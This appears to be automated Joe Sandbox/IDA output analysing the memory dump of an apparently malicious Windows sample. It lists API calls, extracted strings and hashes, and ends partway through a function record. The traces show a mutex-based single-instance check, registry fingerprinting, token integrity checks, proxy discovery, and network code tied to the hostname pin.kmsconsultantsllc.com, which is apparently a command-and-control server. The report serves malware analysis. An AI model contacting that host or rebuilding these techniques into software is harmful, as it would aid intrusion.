K, xrefs: 004131DC
y, xrefs: 00413358
g, xrefs: 00412EA5
z, xrefs: 004131E4
&, xrefs: 00413272
=, xrefs: 00412F62
?, xrefs: 00412FA8
d, xrefs: 00413296
G, xrefs: 00412E13
3, xrefs: 0041329A
8, xrefs: 004130E3
z, xrefs: 00413122
8, xrefs: 00412F93
4, xrefs: 0041328E
SmGpV, xrefs: 00412E77
, xrefs: 00412EE4
4, xrefs: 00413276
5, xrefs: 004130DC
8, xrefs: 00412FE7
p, xrefs: 00412E17
G, xrefs: 00412D9C
*, xrefs: 004130F8
G, xrefs: 00413292
g, xrefs: 00413350
&, xrefs: 00412EC8
YI4Kjz, xrefs: 00413259
R8QgzK, xrefs: 0041318F
3, xrefs: 00412DBF
K, xrefs: 00413003
8, xrefs: 0041303B
=, xrefs: 00413034
4, xrefs: 00413096
8, xrefs: 00412EC1
?, xrefs: 00412DB1
K, xrefs: 00412F07
>, xrefs: 00412E9E
G, xrefs: 00413318
", xrefs: 00412D79
S, xrefs: 00412DD4
(, xrefs: 00413334
K, xrefs: 00413129
K, xrefs: 00412EB3
g, xrefs: 0041309D
g, xrefs: 0041311B
7, xrefs: 004131E8
p, xrefs: 00412DC6
G, xrefs: 00413282
&, xrefs: 00412EBA
6, xrefs: 004130B2
8, xrefs: 00412F69
p, xrefs: 00413338
K, xrefs: 0041302D
`, xrefs: 0041316A
gGyAp, xrefs: 004133B1
A, xrefs: 00413320
&, xrefs: 0041307A
8, xrefs: 00412F15
g, xrefs: 00412ECF
7, xrefs: 00412F70
d, xrefs: 0041327E
K, xrefs: 00413081
g, xrefs: 00412F77
@, xrefs: 004131F0
G, xrefs: 00412DE2
>, xrefs: 00412F46
3, xrefs: 0041332C
K, xrefs: 00412FD9
g, xrefs: 00413328
&, xrefs: 00412F00
g, xrefs: 0041301F
m, xrefs: 00412D72
4, xrefs: 00413314
K, xrefs: 00412F5B
K, xrefs: 00412F85
m, xrefs: 00412DB8
0, xrefs: 00412D87
K, xrefs: 00412FAF
8, xrefs: 00412E97
I, xrefs: 004131D4
S, xrefs: 00412D8E
A, xrefs: 00413348
8, xrefs: 004130B9
g, xrefs: 00412F4D
&, xrefs: 00412FD2
#, xrefs: 00412FEE
&, xrefs: 00412DFF
K, xrefs: 00412F31

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: FreeLocal$Security$Heap$DescriptorValue$AllocDaclInitializeProcess$CloseCreateInformationOpen_chkstk
String ID: $ $!$"$"$#$&$&$&$&$&$&$&$'$'$($($*$*$0$1$3$3$3$4$4$4$4$4$4$4$5$6$7$7$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$8$:$=$=$=$>$>$?$?$@$A$A$A$G$G$G$G$G$G$G$G$I$I$K$K$K$K$K$K$K$K$K$K$K$K$K$K$K$K$K$K$R8QgzK$S$S$S$SmGpV$V$V$V$YI4Kjz$[$`$d$d$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$g$gGyAp$j$m$m$m$p$p$p$p$p$v4vd34$y$y$z$z$z
API String ID: 3120753182-3213339157
Opcode ID: 5f0ef703a82fa389a2bacc80c6fda1637cb746ce33083813f3aad6c0c7663c3d
Instruction ID: b2563ae3467fcef42d1b786e17ee04ffe15a49cbb9085476ed14b3e1a6205d78
Opcode Fuzzy Hash: 5f0ef703a82fa389a2bacc80c6fda1637cb746ce33083813f3aad6c0c7663c3d
Instruction Fuzzy Hash: 8042E560D082DCC9EB22C768C9597DDBFB15F22308F4440DDD1897B282C7BA1B89DB66

Function 00416AF0, Relevance: 78.9, APIs: 4, Strings: 41, Instructions: 112
synchronization

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

OpenMutexW.KERNEL32(001F0001,00000000,00000000,00000060), ref: 00416C33
CreateMutexW.KERNELBASE(00000000,00000000,00000000), ref: 00416C4F
GetCurrentProcess.KERNEL32(00000000), ref: 00416C5C
TerminateProcess.KERNEL32(00000000), ref: 00416C63

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

3, xrefs: 00416BAF
O9ml3r, xrefs: 00416C0D
P, xrefs: 00416B1F
0, xrefs: 00416BEB
r, xrefs: 00416BB3
9, xrefs: 00416B13
9, xrefs: 00416BA3
9, xrefs: 00416B8B
9, xrefs: 00416B5B
J, xrefs: 00416B4F
., xrefs: 00416B9F
;, xrefs: 00416B3F
g, xrefs: 00416B7F
r, xrefs: 00416B9B
9, xrefs: 00416B73
r, xrefs: 00416B23
r, xrefs: 00416B83
l, xrefs: 00416B03
], xrefs: 00416B37
r, xrefs: 00416B6B
l, xrefs: 00416B7B
r, xrefs: 00416B53
l, xrefs: 00416B93
A, xrefs: 00416B07
r, xrefs: 00416B3B
Z, xrefs: 00416B67
V, xrefs: 00416B97
(, xrefs: 00416B2F
9, xrefs: 00416AFB
l, xrefs: 00416B63
l, xrefs: 00416B4B
l, xrefs: 00416BAB
r, xrefs: 00416B0B
l, xrefs: 00416B1B
9, xrefs: 00416B2B
9, xrefs: 00416B0F
*, xrefs: 00416B27
!, xrefs: 00416B6F
l, xrefs: 00416B33
', xrefs: 00416B87
9, xrefs: 00416B43

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: HeapProcess$Mutex$AllocCreateCurrentFreeOpenTerminate
String ID: !$'$($*$.$0$3$9$9$9$9$9$9$9$9$9$;$A$J$O9ml3r$P$V$Z$]$g$l$l$l$l$l$l$l$l$r$r$r$r$r$r$r$r
API String ID: 2709061416-2723537807
Opcode ID: bd3cbe33183801314fe0fc785af3329a626b47bbe57005206827627eb80685a7
Instruction ID: 04ba2418c25d64882b314fed0b352730b610cede677f4fcbcf7d2c8993be5a2d
Opcode Fuzzy Hash: bd3cbe33183801314fe0fc785af3329a626b47bbe57005206827627eb80685a7
Instruction Fuzzy Hash: C151D620D082D8DDEB02D7E9D5487EDBFB55F26348F08409AD5853A282C7FA1A49C77A

Function 0041B210, Relevance: 72.1, APIs: 2, Strings: 46, Instructions: 149
memory

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Part of subcall function 0041B060: LoadLibraryA.KERNEL32(00000000), ref: 0041B1C6
Part of subcall function 0041B060: GetProcAddress.KERNELBASE(00000000), ref: 0041B1CD
Part of subcall function 0041B060: SystemFunction036.ADVAPI32(0000006C,00000004), ref: 0041B1E6

GetProcessHeap.KERNEL32(00000008,0000000A,0000006C), ref: 0041B379
HeapAlloc.KERNEL32(00000000), ref: 0041B380

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

6, xrefs: 0041B320
f, xrefs: 0041B23C
L, xrefs: 0041B294
h, xrefs: 0041B29C
MLAhf, xrefs: 0041B342
h, xrefs: 0041B224
,, xrefs: 0041B218
M, xrefs: 0041B27C
", xrefs: 0041B280
f, xrefs: 0041B28C
7, xrefs: 0041B2C0
A, xrefs: 0041B25C
#, xrefs: 0041B220
4, xrefs: 0041B2D0
M, xrefs: 0041B254
+, xrefs: 0041B240
L, xrefs: 0041B21C
&, xrefs: 0041B248
L, xrefs: 0041B26C
f, xrefs: 0041B2B4
7, xrefs: 0041B2E0
M, xrefs: 0041B2CC
A, xrefs: 0041B2AC
A, xrefs: 0041B234
A, xrefs: 0041B284
f, xrefs: 0041B2DC
h, xrefs: 0041B24C
&, xrefs: 0041B268
A, xrefs: 0041B2D4
L, xrefs: 0041B244
M, xrefs: 0041B2A4
8, xrefs: 0041B2B8
M, xrefs: 0041B22C
h, xrefs: 0041B2EC
-, xrefs: 0041B270
?, xrefs: 0041B2A8
h, xrefs: 0041B274
L, xrefs: 0041B2BC
L, xrefs: 0041B2E4
%, xrefs: 0041B258
h, xrefs: 0041B2C4
=, xrefs: 0041B290
f, xrefs: 0041B264
A, xrefs: 0041B2E8
0, xrefs: 0041B298
(, xrefs: 0041B230

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Alloc$AddressFreeFunction036LibraryLoadProcSystem
String ID: "$#$%$&$&$($+$,$-$0$4$6$7$7$8$=$?$A$A$A$A$A$A$L$L$L$L$L$L$M$M$M$M$M$MLAhf$f$f$f$f$f$h$h$h$h$h$h
API String ID: 2095409129-2383935793
Opcode ID: 202271a9b40fa84af1e079ff3272512f90efce4ee5206ca3dee067abc1512bb4
Instruction ID: c7459bdc0c9df31050b6e4dbff0ad5d5656c447b77a60fee424aa0b757d7a6af
Opcode Fuzzy Hash: 202271a9b40fa84af1e079ff3272512f90efce4ee5206ca3dee067abc1512bb4
Instruction Fuzzy Hash: 56710D70D082CCDAEB12C7E8D5487DDBFB19F26308F184099D5557B282C7BE0A59C76A

Function 00414D90, Relevance: 70.3, APIs: 3, Strings: 37, Instructions: 299
sleepnetwork

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

WSAStartup.WS2_32(00000201,?), ref: 00414EBA
wsprintfA.USER32 ref: 00415050
Sleep.KERNEL32(?,00000050), ref: 004150E7

Part of subcall function 00403E60: GetProcessHeap.KERNEL32(00000000,?,?,?,?,00415143,00000028,?,00000000,?,00000000,?), ref: 00403E83
Part of subcall function 00403E60: HeapFree.KERNEL32(00000000), ref: 00403E8A
Part of subcall function 00403E60: GetProcessHeap.KERNEL32(00000008,00000001,?,?,?,00415143,00000028,?,00000000,?,00000000,?), ref: 00403E98
Part of subcall function 00403E60: HeapAlloc.KERNEL32(00000000,?,?,00415143,00000028,?,00000000,?,00000000,?), ref: 00403E9F

Part of subcall function 00403DC0: GetProcessHeap.KERNEL32(00000000,?,?,?,00419B70,00000000,DDDD,00000004,00408712,?,?,?), ref: 00403DEB
Part of subcall function 00403DC0: HeapFree.KERNEL32(00000000,?,00419B70), ref: 00403DF2

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

R, xrefs: 00414FC8
, xrefs: 00414F11
C, xrefs: 00414FC4
i, xrefs: 00414E16
7, xrefs: 00414FD0
@, xrefs: 00414E1E
T, xrefs: 00414E2E
-, xrefs: 00414DAE
(, xrefs: 00414FA4
<, xrefs: 00414FCC
(, xrefs: 00414E76
@, xrefs: 00414E22
rsN6b, xrefs: 00414E98
C, xrefs: 00414F9C
R, xrefs: 00414DB2
lwX76, xrefs: 00415026
S, xrefs: 00414E1A
E, xrefs: 00414DEE
D, xrefs: 00414FAC
R, xrefs: 00414FA8
_, xrefs: 00414DC6
w, xrefs: 00414E3A
c, xrefs: 00414E12
E, xrefs: 00414E32
X, xrefs: 00414DDA
N, xrefs: 00414E02
pin.kmsconsultantsllc.com, xrefs: 00414EE2
], xrefs: 00414E0E
&, xrefs: 00414DC2
<, xrefs: 00414DEA
z, xrefs: 00414E26
+, xrefs: 00414FB8
#, xrefs: 00414DD6
b, xrefs: 00414E42
9, xrefs: 00414DFE
K, xrefs: 00414E36
C, xrefs: 00414FBC

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Free$Alloc$SleepStartupwsprintf
String ID: $#$&$($($+$-$7$9$<$<$@$@$C$C$C$D$E$E$K$N$R$R$R$S$T$X$]$_$b$c$i$lwX76$pin.kmsconsultantsllc.com$rsN6b$w$z
API String ID: 3791449919-2799435489
Opcode ID: 0aad44700b4db954724687db56421aabb707c15dd930eaa8f301b302b38ca632
Instruction ID: 5cd102446a33a0bdf49ae6c237f1884125d886e4f512925f49d860eef4971151
Opcode Fuzzy Hash: 0aad44700b4db954724687db56421aabb707c15dd930eaa8f301b302b38ca632
Instruction Fuzzy Hash: 83D16170D08288DAEF11CBE8C854BEEBFB56F55308F14409ED1457B282C7BD5A89CB66

Function 004069A0, Relevance: 54.6, APIs: 9, Strings: 22, Instructions: 320

Control-flow Graph

Executed
Not Executed

APIs

WinHttpGetIEProxyConfigForCurrentUser.WINHTTP(?,?), ref: 004069E0
WinHttpOpen.WINHTTP(00000000,00000001,00000000,00000000,00000000,?,?), ref: 00406A20
WinHttpGetProxyForUrl.WINHTTP(00000000,?,00000000,?), ref: 00406A9D
StrCpyW.SHLWAPI(00000000,00000000), ref: 00406ABB
WinHttpCloseHandle.WINHTTP(00000000), ref: 00406AC5
WinHttpCloseHandle.WINHTTP(00000000), ref: 00406AF1

Part of subcall function 004068E0: GlobalFree.KERNEL32(00000000), ref: 004068F7
Part of subcall function 004068E0: GlobalFree.KERNEL32(00000000), ref: 0040690D

PathMatchSpecW.SHLWAPI(?,00000000), ref: 00406B4E
StrCpyW.SHLWAPI(00000000,00000000), ref: 00406BA7

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Part of subcall function 00406E10: StrStrIW.SHLWAPI(00000018,00000000), ref: 00406E1C

StrCpyW.SHLWAPI(00000000,00000000), ref: 00406D8D

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Part of subcall function 00406890: GlobalFree.KERNEL32(00000000), ref: 004068A7
Part of subcall function 00406890: GlobalFree.KERNEL32(00000000), ref: 004068BD
Part of subcall function 00406890: GlobalFree.KERNEL32(00000000), ref: 004068D3

Part of subcall function 00406920: WinHttpCrackUrl.WINHTTP(00000002,004069FE,00000000,0000003C,00000000), ref: 00406984

Strings

;, xrefs: 00406BCA
|, xrefs: 00406BF2
S, xrefs: 00406C92
", xrefs: 00406C7E
z, xrefs: 00406C8A
4, xrefs: 00406BD6
2, xrefs: 00406BDE
V, xrefs: 00406C96
2, xrefs: 00406BDA
L, xrefs: 00406C82
S, xrefs: 00406C7A
n, xrefs: 00406BE6
bzySVL, xrefs: 00406CF4
n, xrefs: 00406BFE
n, xrefs: 00406BCE
Snl4F2, xrefs: 00406C58
#, xrefs: 00406BE2
2, xrefs: 00406BF6
L, xrefs: 00406C9A
4, xrefs: 00406BEE
S, xrefs: 00406BFA
z, xrefs: 00406C72

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: FreeHttp$Global$Heap$CloseHandleProcessProxy$AllocConfigCrackCurrentMatchOpenPathSpecUser
String ID: "$#$2$2$2$4$4$;$L$L$S$S$S$Snl4F2$V$bzySVL$n$n$n$z$z$|
API String ID: 2233019128-3723250319
Opcode ID: 4e95b6e48588f44cfd6e60b1cc72700ff4d5af2d25e1f4beef8e00f731532e8d
Instruction ID: ce556243966ba2221d0f5e6b384961a3b04aa7f1704e79e4bd0f3d326d1226d0
Opcode Fuzzy Hash: 4e95b6e48588f44cfd6e60b1cc72700ff4d5af2d25e1f4beef8e00f731532e8d
Instruction Fuzzy Hash: 56E15C70D04248DEEB10DBA4C849BEEBBB5AF14304F1480AEE146BB2C1CBB95A55CF65

Function 00403EF0, Relevance: 52.6, APIs: 12, Strings: 18, Instructions: 135
memory

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNELBASE(00000000), ref: 00403F1C
GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403F28
OpenProcessToken.ADVAPI32(00000000), ref: 00403F2F
GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00403F4D
GetLastError.KERNEL32 ref: 00403F53
GlobalAlloc.KERNEL32(00000040,00000000), ref: 00403F68
GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00403F8D
ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00403FA5

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

StrCmpIW.SHLWAPI(00000000,00000000), ref: 0040407A
LocalFree.KERNEL32(00000000,?,00000000), ref: 0040408F

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

GlobalFree.KERNEL32(00000000), ref: 004040A1
CloseHandle.KERNEL32(00000000), ref: 004040AB

Strings

D, xrefs: 00403FE9
D, xrefs: 00403FC1
U, xrefs: 00403FF1
D, xrefs: 00403FFD
U, xrefs: 00403FC9
`, xrefs: 00403FBD
U, xrefs: 00403FD9
`, xrefs: 00403FDD
L, xrefs: 00403FF5
x, xrefs: 00403FC5
U, xrefs: 00404001
t, xrefs: 00403FE1
3, xrefs: 00403FD1
3DUUt, xrefs: 00404057
3, xrefs: 00403FF9
i, xrefs: 00403FD5
E, xrefs: 00403FCD
d, xrefs: 00403FED

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: HeapProcess$FreeToken$AllocGlobalHandleInformation$CloseConvertCurrentErrorLastLocalModuleOpenString
String ID: 3$3$3DUUt$D$D$D$E$L$U$U$U$U$`$`$d$i$t$x
API String ID: 1188721639-1829723986
Opcode ID: 26aa238e5ec113607780276f91efad2fbd2168eb02ed52017529ce8a73018f7d
Instruction ID: d6e0eefc9ceb609f3ef83f2b914dbff4bd34a1be2434e4c3a667cfbc30fffc1a
Opcode Fuzzy Hash: 26aa238e5ec113607780276f91efad2fbd2168eb02ed52017529ce8a73018f7d
Instruction Fuzzy Hash: A2513D70D44288EBEB01CBE4C898BEFBFB4AF59309F144099E605772C1C7B95A04CB69

Function 00418AF0, Relevance: 43.9, APIs: 5, Strings: 20, Instructions: 145libraryloader

APIs

GetModuleHandleA.KERNELBASE(00000000,00000000,0000000D,0000000F), ref: 00418C65
GetProcAddress.KERNELBASE(00000000), ref: 00418C6C

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

OpenProcess.KERNELBASE(00000400,00000000,00000000), ref: 00418CA1
IsWow64Process.KERNELBASE(00000000,00000000), ref: 00418CB8
CloseHandle.KERNEL32(00000000), ref: 00418CD3

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Strings

q, xrefs: 00418BCF
8, xrefs: 00418BDB
L, xrefs: 00418BD3
5, xrefs: 00418B17
5, xrefs: 00418B33
F, xrefs: 00418B43
1, xrefs: 00418BC3
4, xrefs: 00418B2B
&, xrefs: 00418BB7
krFZVy, xrefs: 00418B9D
O, xrefs: 00418B1F
C, xrefs: 00418BE3
", xrefs: 00418B0B
(, xrefs: 00418BB3
5, xrefs: 00418B2F
!, xrefs: 00418B1B
p, xrefs: 00418BCB
CCbkTy, xrefs: 00418C3D
", xrefs: 00418B27
_, xrefs: 00418B23

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: HeapProcess$Handle$AddressAllocCloseFreeModuleOpenProcWow64
String ID: !$"$"$&$($1$4$5$5$5$8$C$CCbkTy$F$L$O$_$krFZVy$p$q
API String ID: 3134316484-1051406622
Opcode ID: 360a176ace59a6410600d8090be33e3f5cbfed6f8fc5cf9a712cbd96cfedec39
Instruction ID: d9bc206afc4618542d4c521412d0e9744fd276fc1705e592c668926dfb3732a4
Opcode Fuzzy Hash: 360a176ace59a6410600d8090be33e3f5cbfed6f8fc5cf9a712cbd96cfedec39
Instruction Fuzzy Hash: 39616370909288DAEF11DBA8D9487DEBFB15F15308F08409DE4457B2C2D7BE1A49CB6A

Function 004115E0, Relevance: 42.3, APIs: 20, Strings: 4, Instructions: 260memoryregistrystring

APIs

RegOpenKeyExA.KERNEL32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,00020119,00000000), ref: 00411768
GetProcessHeap.KERNEL32(00000008,000000C8), ref: 0041177D
HeapAlloc.KERNEL32(00000000), ref: 00411784
RegQueryValueExA.KERNEL32 ref: 004117B4
RegQueryValueExA.KERNEL32 ref: 004117E2
RegQueryValueExA.ADVAPI32 ref: 00411821
GetTickCount.KERNEL32 ref: 0041182B
RegCloseKey.ADVAPI32(00000000), ref: 00411838
RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows NT\CurrentVersion,00000000,0004001F,00000000), ref: 00411852
RegSetValueExA.ADVAPI32(00000000,RegId,00000000,00000004,00000000,00000004), ref: 0041186E
RegCloseKey.ADVAPI32(00000000), ref: 00411895
lstrlenA.KERNEL32(?), ref: 004118A8
GetProcessHeap.KERNEL32(00000008,00000010), ref: 004118CE
HeapAlloc.KERNEL32(00000000), ref: 004118D5
GetComputerNameA.KERNEL32(?,00000010), ref: 004118E6
lstrlenA.KERNEL32(?), ref: 004118F0
GetProcessHeap.KERNEL32(00000000,?), ref: 0041190C
HeapFree.KERNEL32(00000000), ref: 00411913
GetProcessHeap.KERNEL32(00000000,?), ref: 0041191F
HeapFree.KERNEL32(00000000), ref: 00411926

Strings

DigitalProductId, xrefs: 004117AC, 004117AF
SOFTWARE\Microsoft\Windows NT\CurrentVersion, xrefs: 0041175F, 00411762
RegId, xrefs: 00411819, 0041181C
InstallDate, xrefs: 004117DA, 004117DD

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$ProcessValue$Query$AllocCloseFreeOpenlstrlen$ComputerCountNameTick
String ID: DigitalProductId$InstallDate$RegId$SOFTWARE\Microsoft\Windows NT\CurrentVersion
API String ID: 3977987124-3028337303
Opcode ID: 63152df5def4fd0430e004c89f8154d326016d08951908c02bebe68f6659dde0
Instruction ID: ee05ff89c6f441552d4599fa5701b37557a247d20b2525614e3b6bc4e274b8cf
Opcode Fuzzy Hash: 63152df5def4fd0430e004c89f8154d326016d08951908c02bebe68f6659dde0
Instruction Fuzzy Hash: 47C11D70D483C8DEEB11CBE8D848BDEBFB56F16708F144099D6446B282C7BA5548CB75

Function 004196C0, Relevance: 40.7, APIs: 1, Strings: 26, Instructions: 167sleep

APIs

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Part of subcall function 0040FA40: Sleep.KERNELBASE(000003E8,00000000,?,000000FF,00000000,00000000,00000000,00000050,00000000,?,FFFFFFFF,00000000,00000000,00000000,00000050,004292D0), ref: 0040FAB0

Sleep.KERNELBASE(-0000EA60,00000028,00000028), ref: 004198D4

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

Strings

E, xrefs: 00419762
T, xrefs: 0041975E
b, xrefs: 00419772
rsN6b, xrefs: 004197C8
#, xrefs: 00419706
&, xrefs: 004196F2
K, xrefs: 00419766
N, xrefs: 00419732
_, xrefs: 004196F6
], xrefs: 0041973E
S, xrefs: 0041974A
(, xrefs: 004197A6
@, xrefs: 0041974E
<, xrefs: 0041971A
@, xrefs: 00419752
z, xrefs: 00419756
w, xrefs: 0041976A
i, xrefs: 00419746
E, xrefs: 0041971E
c, xrefs: 00419742
-, xrefs: 004196DE
pin.kmsconsultantsllc.com, xrefs: 00419800
9, xrefs: 0041972E
R, xrefs: 004196E2
X, xrefs: 0041970A
, xrefs: 00419822

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$ProcessSleep$AllocFree
String ID: $#$&$($-$9$<$@$@$E$E$K$N$R$S$T$X$]$_$b$c$i$pin.kmsconsultantsllc.com$rsN6b$w$z
API String ID: 3396040835-2445397783
Opcode ID: 9f087453765f1ed4393401d439ad4b2cdad08a160c4e350f2c3908e8c65196fd
Instruction ID: 75a22ffcc9ed4957d5c0f1cca1b357e5504bd160f6c26dbbbfcc2f6bbb07b834
Opcode Fuzzy Hash: 9f087453765f1ed4393401d439ad4b2cdad08a160c4e350f2c3908e8c65196fd
Instruction Fuzzy Hash: C6813F70D082C8DAEB15DBA8C4987DEBFB16F52308F18409ED4513B282C3BD5A49DB66

Function 00411CA0, Relevance: 40.4, APIs: 12, Strings: 11, Instructions: 194memoryregistry

APIs

GetProcessHeap.KERNEL32(00000008,00000208,?), ref: 00411CC2
HeapAlloc.KERNEL32(00000000), ref: 00411CC9

Part of subcall function 00412420: RegCreateKeyExW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00412461
Part of subcall function 00412420: RegOpenKeyExW.ADVAPI32 ref: 0041247E

wsprintfW.USER32 ref: 00411DF6

Part of subcall function 00412290: RegCloseKey.ADVAPI32(00000000), ref: 00412316

GetProcessHeap.KERNEL32(00000008,00000000,?,80000001,00000000,?), ref: 00411E4B
HeapAlloc.KERNEL32(00000000), ref: 00411E52
GetProcessHeap.KERNEL32(00000000,?,00000000,?,80000001,00000000,?), ref: 00411E72
HeapReAlloc.KERNEL32(00000000), ref: 00411E79
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00411EAB
HeapFree.KERNEL32(00000000), ref: 00411EB2

Part of subcall function 00402B30: GetProcessHeap.KERNEL32(00000000,?,?,?,00411454), ref: 00402B3F
Part of subcall function 00402B30: HeapFree.KERNEL32(00000000,?,00411454), ref: 00402B46

RegCloseKey.ADVAPI32(00000000), ref: 00411ED0
GetProcessHeap.KERNEL32(00000000,00000000,80000001,00000000,00020019,00000000), ref: 00411EDC
HeapFree.KERNEL32(00000000), ref: 00411EE3

Part of subcall function 00402B00: GetProcessHeap.KERNEL32(00000008,?,?,?,00416092,0000000C), ref: 00402B10
Part of subcall function 00402B00: HeapAlloc.KERNEL32(00000000,?,00416092,0000000C), ref: 00402B17

Strings

gdIgQ, xrefs: 00411DC3
B, xrefs: 00411D41
g, xrefs: 00411D55
I, xrefs: 00411D5D
d, xrefs: 00411D45
g, xrefs: 00411D69
A, xrefs: 00411D59
Q, xrefs: 00411D65
:, xrefs: 00411D49
d, xrefs: 00411D6D
g, xrefs: 00411D4D

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$Alloc$Free$Close$CreateOpenwsprintf
String ID: :$A$B$I$Q$d$d$g$g$g$gdIgQ
API String ID: 4044780633-1486051883
Opcode ID: 3ee48065a8bcfe1525c99bbe399221e3180517b63f18aa06d447650b3d5e1822
